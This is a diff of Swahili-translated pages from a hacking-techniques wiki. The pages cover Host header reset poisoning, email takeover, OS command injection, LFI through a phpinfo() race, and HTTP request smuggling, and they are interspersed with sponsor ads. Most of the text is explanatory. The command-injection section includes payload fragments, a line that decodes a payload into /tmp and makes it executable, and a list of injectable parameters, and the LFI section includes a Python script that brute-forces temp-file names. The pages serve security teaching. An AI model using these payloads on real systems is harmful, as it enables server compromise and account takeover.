**Mpangilio wa haraka wa tathmini ya udhaifu & upimaji wa penya**. Fanya pentest kamili kutoka mahali popote na zana 20+ & vipengele vinavyotoka kwenye recon hadi ripoti. Hatubadilishi pentesters - tunatengeneza zana maalum, moduli za kugundua & kutumia ili kuwapa muda wa kuchimba zaidi, kufungua shells, na kufurahia.
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
**Pata na ripoti mapungufu makubwa, yanayoweza kutumiwa kwa faida na athari halisi za kibiashara.** Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia matumizi ya kiotomatiki kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
### Host header
|
||||
### Kichwa cha mwenyeji
|
||||
|
||||
Mara kadhaa nyuma ya pazia inategemea **Host header** kufanya baadhi ya vitendo. Kwa mfano, inaweza kutumia thamani yake kama **domain ya kutuma upya nenosiri**. Hivyo unapopokea barua pepe yenye kiungo cha kurekebisha nenosiri lako, domain inayotumika ni ile uliyoweka kwenye Host header. Kisha, unaweza kuomba upya nenosiri wa watumiaji wengine na kubadilisha domain kuwa moja inayodhibitiwa na wewe ili kuiba nambari zao za upya nenosiri. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
|
||||
Mara kadhaa nyuma ya pazia inategemea **Kichwa cha mwenyeji** kufanya baadhi ya vitendo. Kwa mfano, inaweza kutumia thamani yake kama **domain ya kutuma upya nenosiri**. Hivyo unapopokea barua pepe yenye kiungo cha kutengeneza upya nenosiri lako, domain inayotumika ni ile uliyoweka katika Kichwa cha mwenyeji. Kisha, unaweza kuomba upya nenosiri wa watumiaji wengine na kubadilisha domain kuwa moja inayodhibitiwa na wewe ili kuiba nambari zao za upya nenosiri. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
|
||||
|
||||
{% hint style="warning" %}
|
||||
Kumbuka kwamba inawezekana usihitaji hata kusubiri mtumiaji abonyeze kiungo cha kurekebisha nenosiri ili kupata token, kwani labda hata **filters za spam au vifaa/boti vingine vya kati vitabonyeza ili kuchambua**.
|
||||
Kumbuka kwamba inawezekana usihitaji hata kusubiri mtumiaji abonyeze kiungo cha kutengeneza upya nenosiri ili kupata tokeni, kwani labda hata **filamu za spam au vifaa/vibot vingine vya kati vitabonyeza ili kuchambua**.
|
||||
{% endhint %}
|
||||
|
||||
### Session booleans
|
||||
### Boolean za kikao
|
||||
|
||||
Wakati mwingine unapokamilisha uthibitisho fulani kwa usahihi nyuma ya pazia itachukua **tu kuongeza boolean yenye thamani "True" kwa sifa ya usalama ya kikao chako**. Kisha, mwisho tofauti utajua kama umepita hiyo ukaguzi kwa mafanikio.\
|
||||
Wakati mwingine unapokamilisha uthibitisho fulani kwa usahihi, nyuma ya pazia itachukua **kuongeza boolean tu yenye thamani "True" kwa sifa ya usalama ya kikao chako**. Kisha, mwisho tofauti utajua ikiwa umepita hiyo ukaguzi kwa mafanikio.\
|
||||
Hata hivyo, ikiwa **umepita ukaguzi** na kikao chako kinapewa thamani hiyo "True" katika sifa ya usalama, unaweza kujaribu **kufikia rasilimali nyingine** ambazo **zinategemea sifa hiyo hiyo** lakini ambazo **hupaswi kuwa na ruhusa** za kufikia. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
|
||||
|
||||
### Register functionality
|
||||
### Kazi ya kujiandikisha
|
||||
|
||||
Jaribu kujiandikisha kama mtumiaji ambaye tayari yupo. Jaribu pia kutumia wahusika sawa (madoadoa, nafasi nyingi na Unicode).
|
||||
|
||||
### Takeover emails
|
||||
### Kuchukua barua pepe
|
||||
|
||||
Jiandikishe barua pepe, kabla ya kuithibitisha badilisha barua pepe, kisha, ikiwa barua pepe mpya ya uthibitisho itatumwa kwa barua pepe ya kwanza iliyosajiliwa, unaweza kuchukua barua pepe yoyote. Au ikiwa unaweza kuwezesha barua pepe ya pili kuthibitisha ya kwanza, unaweza pia kuchukua akaunti yoyote.
|
||||
|
||||
### Access Internal servicedesk of companies using atlassian
|
||||
### Fikia huduma za ndani za kampuni zinazotumia atlassian
|
||||
|
||||
{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %}
|
||||
|
||||
### TRACE method
|
||||
### Njia ya TRACE
|
||||
|
||||
Wakandarasi wanaweza kusahau kuzima chaguzi mbalimbali za ufuatiliaji katika mazingira ya uzalishaji. Kwa mfano, njia ya HTTP `TRACE` imeundwa kwa madhumuni ya uchunguzi. Ikiwa imewezeshwa, seva ya wavuti itajibu maombi yanayotumia njia ya `TRACE` kwa kurudisha katika jibu ombi halisi lililopokelewa. Tabia hii mara nyingi haina madhara, lakini wakati mwingine husababisha uvujaji wa habari, kama vile jina la vichwa vya uthibitishaji wa ndani ambavyo vinaweza kuongezwa kwa maombi na proxies za kinyume.![Image for post](https://miro.medium.com/max/60/1\*wDFRADTOd9Tj63xucenvAA.png?q=20)
|
||||
Wakandarasi wanaweza kusahau kuzima chaguzi mbalimbali za ufuatiliaji katika mazingira ya uzalishaji. Kwa mfano, njia ya HTTP `TRACE` imeundwa kwa madhumuni ya uchunguzi. Ikiwa imewezeshwa, seva ya wavuti itajibu maombi yanayotumia njia ya `TRACE` kwa kurudisha katika jibu ombi halisi lililopokelewa. Tabia hii mara nyingi haina madhara, lakini wakati mwingine husababisha kufichuliwa kwa habari, kama vile jina la vichwa vya uthibitishaji vya ndani ambavyo vinaweza kuongezwa kwa maombi na proxies za kinyume.![Image for post](https://miro.medium.com/max/60/1\*wDFRADTOd9Tj63xucenvAA.png?q=20)
|
||||
|
||||
![Image for post](https://miro.medium.com/max/1330/1\*wDFRADTOd9Tj63xucenvAA.png)
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Mpangilio wa haraka wa tathmini ya udhaifu & upimaji wa penya**. Fanya pentest kamili kutoka mahali popote na zana 20+ & vipengele vinavyotoka kwenye recon hadi ripoti. Hatubadilishi pentesters - tunatengeneza zana maalum, moduli za kugundua & kutumia ili kuwapa muda wa kuchimba zaidi, kufungua shells, na kufurahia.
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
**Pata na ripoti mapungufu makubwa, yanayoweza kutumiwa kwa faida na athari halisi za kibiashara.** Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia matumizi ya kiotomatiki kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki hila za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,20 +15,21 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
|
||||
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## What is command Injection?
|
||||
|
||||
A **command injection** inaruhusu utekelezaji wa amri za mfumo wa uendeshaji zisizo na mipaka na mshambuliaji kwenye seva inayohifadhi programu. Kama matokeo, programu na data zake zote zinaweza kuathiriwa kabisa. Utekelezaji wa amri hizi kawaida unamruhusu mshambuliaji kupata ufikiaji usioidhinishwa au kudhibiti mazingira ya programu na mfumo wa msingi.
|
||||
A **command injection** inaruhusu utekelezaji wa amri za mfumo wa uendeshaji zisizo na mipaka na mshambuliaji kwenye seva inayohifadhi programu. Kama matokeo, programu na data zake zote zinaweza kuathiriwa kabisa. Utekelezaji wa amri hizi kwa kawaida unamruhusu mshambuliaji kupata ufikiaji usioidhinishwa au kudhibiti mazingira ya programu na mfumo wa msingi.
|
||||
|
||||
### Context
|
||||
|
||||
Kulingana na **mahali ambapo ingizo lako linatolewa** unaweza kuhitaji **kukomesha muktadha ulioandikwa** (ukitumia `"` au `'`) kabla ya amri.
|
||||
Kulingana na **mahali ambapo ingizo lako linatolewa** unaweza kuhitaji **kufunga muktadha ulioandikwa** (ukitumia `"` au `'`) kabla ya amri.
|
||||
|
||||
## Command Injection/Execution
|
||||
```bash
|
||||
|
@ -51,7 +52,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
|
|||
```
|
||||
### **Kikomo** Bypasses
|
||||
|
||||
Ikiwa unajaribu kutekeleza **amri zisizo na mpangilio ndani ya mashine ya linux** utavutiwa kusoma kuhusu hii **Bypasses:**
|
||||
If you are trying to execute **arbitrary commands inside a linux machine** you will be interested to read about this **Bypasses:**
|
||||
|
||||
{% content-ref url="../linux-hardening/bypass-bash-restrictions/" %}
|
||||
[bypass-bash-restrictions](../linux-hardening/bypass-bash-restrictions/)
|
||||
|
@ -65,7 +66,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
|
|||
```
|
||||
### Parameters
|
||||
|
||||
Hapa kuna vigezo 25 bora ambavyo vinaweza kuwa na udhaifu wa kuingiza msimbo na udhaifu wa RCE unaofanana (kutoka [link](https://twitter.com/trbughunters/status/1283133356922884096)):
|
||||
Hapa kuna vigezo 25 bora ambavyo vinaweza kuwa na hatari ya kuingiza msimbo na udhaifu wa RCE unaofanana (kutoka [link](https://twitter.com/trbughunters/status/1283133356922884096)):
|
||||
```
|
||||
?cmd={payload}
|
||||
?exec={payload}
|
||||
|
@ -124,7 +125,7 @@ Vifaa vya mtandaoni kuangalia uhamishaji wa data unaotegemea DNS:
|
|||
* dnsbin.zhack.ca
|
||||
* pingb.in
|
||||
|
||||
### Kupita kwa filtering
|
||||
### Kupita uchujaji
|
||||
|
||||
#### Windows
|
||||
```
|
||||
|
@ -147,8 +148,8 @@ powershell C:**2\n??e*d.*? # notepad
|
|||
* [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -156,15 +157,15 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" al
|
|||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Tumia [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) kujenga na **kujiendesha kiotomatiki** kwa urahisi kwa kutumia zana za jamii **zilizoendelea zaidi** duniani.\
|
||||
Pata Ufikiaji Leo:
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
|
||||
**Pata na ripoti udhaifu muhimu, unaoweza kutumiwa kwa faida halisi ya biashara.** Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia matumizi ya kiotomatiki kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
|
|
@ -13,6 +13,14 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
**Pata na ripoti udhaifu muhimu, unaoweza kutumiwa kwa faida halisi ya biashara.** Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia mashambulizi ya kiotomatiki kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
||||
Ili kutumia udhaifu huu unahitaji: **Udhaifu wa LFI, ukurasa ambapo phpinfo() inaonyeshwa, "file\_uploads = on" na seva inapaswa kuwa na uwezo wa kuandika katika saraka ya "/tmp".**
|
||||
|
||||
|
@ -28,19 +36,19 @@ You have to change also the **payload** at the beginning of the exploit (for a p
|
|||
|
||||
{% file src="../../.gitbook/assets/LFI-With-PHPInfo-Assistance.pdf" %}
|
||||
|
||||
### Nadharia
|
||||
### Theory
|
||||
|
||||
Ikiwa upakuaji unaruhusiwa katika PHP na unajaribu kupakia faili, faili hizi huhifadhiwa katika directory ya muda hadi seva ikamilishe processing ya ombi, kisha faili hizi za muda zifutwa.
|
||||
Ikiwa upakuaji unaruhusiwa katika PHP na unajaribu kupakia faili, faili hizi huhifadhiwa katika directory ya muda hadi seva ikamilishe usindikaji wa ombi, kisha faili hizi za muda zifutwa.
|
||||
|
||||
Kisha, ikiwa umepata udhaifu wa LFI katika seva ya wavuti unaweza kujaribu kukisia jina la faili ya muda iliyoundwa na kutumia RCE kwa kufikia faili ya muda kabla haijafutwa.
|
||||
|
||||
Katika **Windows** faili kawaida huhifadhiwa katika **C:\Windows\temp\php**
|
||||
|
||||
Katika **linux** jina la faili lilikuwa **random** na liliko katika **/tmp**. Kwa kuwa jina ni random, inahitajika **kuchota kutoka mahali fulani jina la faili ya muda** na kuifikia kabla haijafutwa. Hii inaweza kufanywa kwa kusoma thamani ya **variable $\_FILES** ndani ya maudhui ya kazi "**phpconfig()**".
|
||||
Katika **linux** jina la faili lilikuwa **random** na lilikuwa katika **/tmp**. Kwa kuwa jina ni random, inahitajika **kutoa kutoka mahali jina la faili ya muda** na kuifikia kabla haijafutwa. Hii inaweza kufanywa kwa kusoma thamani ya **variable $\_FILES** ndani ya maudhui ya kazi "**phpconfig()**".
|
||||
|
||||
**phpinfo()**
|
||||
|
||||
**PHP** inatumia buffer ya **4096B** na wakati inakuwa **kamili**, inatumwa **kwa mteja**. Kisha mteja anaweza **kutuma** **ombii mengi makubwa** (akitumia vichwa vikubwa) **akipakia php** reverse **shell**, kusubiri kwa **sehemu ya kwanza ya phpinfo() irudishwe** (ambapo jina la faili ya muda liko) na kujaribu **kufikia faili ya muda** kabla seva ya php haijafuta faili hiyo kwa kutumia udhaifu wa LFI.
|
||||
**PHP** inatumia buffer ya **4096B** na wakati inakuwa **kamili**, inatumwa **kwa mteja**. Kisha mteja anaweza **kutuma** **ombii mengi makubwa** (akitumia vichwa vikubwa) **kupakia php** reverse **shell**, kusubiri kwa **sehemu ya kwanza ya phpinfo() irudishwe** (ambapo jina la faili ya muda liko) na kujaribu **kufikia faili ya muda** kabla seva ya php haijafuta faili hiyo kwa kutumia udhaifu wa LFI.
|
||||
|
||||
**Python script to try to bruteforce the name (if length = 6)**
|
||||
```python
|
||||
|
@ -64,6 +72,14 @@ sys.exit(0)
|
|||
|
||||
print('[x] Something went wrong, please try again')
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
**Pata na ripoti mapungufu muhimu, yanayoweza kutumiwa kwa faida na athari halisi za kibiashara.** Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia mashambulizi ya kiotomatiki kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -15,12 +15,20 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## What is
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Uthibitisho huu hutokea wakati **desyncronization** kati ya **front-end proxies** na **back-end** server inaruhusu **mshambuliaji** **kutuma** HTTP **request** ambayo itatafsiriwa kama **ombile moja** na **front-end** proxies (load balance/reverse-proxy) na **kama ombi 2** na **back-end** server.\
|
||||
Hii inaruhusu mtumiaji **kubadilisha ombi linalofuata linalofika kwa server ya back-end baada ya lake**.
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
### Theory
|
||||
**Pata na ripoti udhaifu muhimu, unaoweza kutumiwa kwa biashara.** Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia mashambulizi ya kiotomatiki kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## Nini
|
||||
|
||||
Udhaifu huu hutokea wakati **desyncronization** kati ya **proxies za mbele** na **seva ya nyuma** inaruhusu **mshambuliaji** **kutuma** **ombio** la HTTP ambalo litatafsiriwa kama **ombio moja** na **proxies za mbele** (load balance/reverse-proxy) na **kama ombi 2** na **seva ya nyuma**.\
|
||||
Hii inaruhusu mtumiaji **kubadilisha ombi linalofuata linalofika kwa seva ya nyuma baada ya lake**.
|
||||
|
||||
### Nadharia
|
||||
|
||||
[**RFC Specification (2161)**](https://tools.ietf.org/html/rfc2616)
|
||||
|
||||
|
@ -28,35 +36,35 @@ Hii inaruhusu mtumiaji **kubadilisha ombi linalofuata linalofika kwa server ya b
|
|||
|
||||
**Content-Length**
|
||||
|
||||
> Kichwa cha Content-Length kinadhihirisha ukubwa wa mwili wa kitu, kwa bytes, kilichotumwa kwa mpokeaji.
|
||||
> Kichwa cha Content-Length kinaonyesha ukubwa wa mwili wa kitu, kwa bytes, kilichotumwa kwa mpokeaji.
|
||||
|
||||
**Transfer-Encoding: chunked**
|
||||
|
||||
> Kichwa cha Transfer-Encoding kinabainisha aina ya usimbuaji inayotumika kwa usalama kuhamasisha mwili wa payload kwa mtumiaji.\
|
||||
> Kichwa cha Transfer-Encoding kinaelezea aina ya usimbuaji inayotumika kwa usalama kuhamasisha mwili wa payload kwa mtumiaji.\
|
||||
> Chunked inamaanisha kwamba data kubwa inatumwa kwa mfululizo wa vipande
|
||||
|
||||
### Reality
|
||||
### Ukweli
|
||||
|
||||
**Front-End** (load-balance / Reverse Proxy) **inasindika** _**content-length**_ au _**transfer-encoding**_ kichwa na **Back-end** server **inasindika** nyingine ikisababisha **desyncronization** kati ya mifumo 2.\
|
||||
Hii inaweza kuwa hatari sana kwani **mshambuliaji ataweza kutuma ombi moja** kwa reverse proxy ambayo itatafsiriwa na **back-end** server **kama maombi 2 tofauti**. **Hatari** ya mbinu hii inatokana na ukweli kwamba **back-end** server **itaelewa** **ombile la 2 lililoingizwa** kana kwamba **lilitoka kwa mteja anayefuata** na **ombile halisi** la mteja huyo litakuwa **sehemu** ya **ombile lililoingizwa**.
|
||||
**Front-End** (load-balance / Reverse Proxy) **inasindika** _**content-length**_ au _**transfer-encoding**_ kichwa na **Back-end** seva **inasindika** nyingine, ikisababisha **desyncronization** kati ya mifumo 2.\
|
||||
Hii inaweza kuwa hatari sana kwani **mshambuliaji ataweza kutuma ombi moja** kwa reverse proxy ambalo litatafsiriwa na **seva ya nyuma** **kama ombi 2 tofauti**. **Hatari** ya mbinu hii inategemea ukweli kwamba **seva ya nyuma** **itaelewa** **ombio la 2 lililoingizwa** kana kwamba **lilitoka kwa mteja anayefuata** na **ombio halisi** la mteja huyo litakuwa **sehemu** ya **ombio lililoingizwa**.
|
||||
|
||||
### Particularities
|
||||
### Maelezo Maalum
|
||||
|
||||
Kumbuka kwamba katika HTTP **herufi mpya ya mstari inaundwa na bytes 2:**
|
||||
Kumbuka kwamba katika HTTP **herufi mpya inaundwa na bytes 2:**
|
||||
|
||||
* **Content-Length**: Kichwa hiki kinatumia **nambari ya desimali** kuonyesha **idadi** ya **bytes** za **mwili** wa ombi. Mwili unatarajiwa kumalizika katika herufi ya mwisho, **herufi mpya haitahitajika mwishoni mwa ombi**.
|
||||
* **Transfer-Encoding:** Kichwa hiki kinatumia katika **mwili** **nambari ya hexadecimal** kuonyesha **idadi** ya **bytes** za **kipande kinachofuata**. **Kipande** lazima **kimalizike** na **herufi mpya** lakini herufi hii mpya **haitahesabiwa** na kiashiria cha urefu. Mbinu hii ya uhamasishaji lazima ikamilike na **kipande cha ukubwa 0 kinachofuatwa na herufi 2 mpya**: `0`
|
||||
* **Connection**: Kulingana na uzoefu wangu, inapendekezwa kutumia **`Connection: keep-alive`** kwenye ombi la kwanza la ombi la Smuggling.
|
||||
|
||||
## Basic Examples
|
||||
## Mifano ya Msingi
|
||||
|
||||
{% hint style="success" %}
|
||||
Wakati wa kujaribu kutumia hii na Burp Suite **zima `Update Content-Length` na `Normalize HTTP/1 line endings`** katika repeater kwa sababu baadhi ya vifaa vinatumia herufi mpya, kurudi kwa gari na maudhui yasiyo sahihi.
|
||||
Unapojaribu kutumia hii na Burp Suite **zima `Update Content-Length` na `Normalize HTTP/1 line endings`** katika repeater kwa sababu baadhi ya vifaa vinatumia herufi mpya, kurudi kwa gari na maudhui yasiyo sahihi ya urefu.
|
||||
{% endhint %}
|
||||
|
||||
HTTP request smuggling attacks zinatengenezwa kwa kutuma maombi yasiyo na uwazi ambayo yanatumia tofauti katika jinsi front-end na back-end servers zinavyotafsiri vichwa vya `Content-Length` (CL) na `Transfer-Encoding` (TE). Mashambulizi haya yanaweza kuonekana katika aina tofauti, hasa kama **CL.TE**, **TE.CL**, na **TE.TE**. Kila aina inawakilisha mchanganyiko wa kipekee wa jinsi front-end na back-end servers zinavyopendelea vichwa hivi. Uthibitisho unatokana na servers kusindika ombi moja kwa njia tofauti, na kusababisha matokeo yasiyotarajiwa na yanaweza kuwa ya uhalifu.
|
||||
Shambulio la HTTP request smuggling linatengenezwa kwa kutuma maombi yasiyo na uwazi yanayofaidika na tofauti katika jinsi proxies za mbele na seva za nyuma zinavyotafsiri vichwa vya `Content-Length` (CL) na `Transfer-Encoding` (TE). Shambulio hizi zinaweza kuonekana kwa aina tofauti, hasa kama **CL.TE**, **TE.CL**, na **TE.TE**. Kila aina inawakilisha mchanganyiko wa kipekee wa jinsi proxies za mbele na seva za nyuma zinavyopendelea vichwa hivi. Udhaifu unatokana na seva zinazoshughulikia ombi moja kwa njia tofauti, na kusababisha matokeo yasiyotarajiwa na yanaweza kuwa ya uhalifu.
|
||||
|
||||
### Basic Examples of Vulnerability Types
|
||||
### Mifano ya Msingi ya Aina za Udhaifu
|
||||
|
||||
![https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg)
|
||||
|
||||
|
@ -64,14 +72,14 @@ HTTP request smuggling attacks zinatengenezwa kwa kutuma maombi yasiyo na uwazi
|
|||
Katika jedwali la awali unapaswa kuongeza mbinu ya TE.0, kama mbinu ya CL.0 lakini ukitumia Transfer Encoding.
|
||||
{% endhint %}
|
||||
|
||||
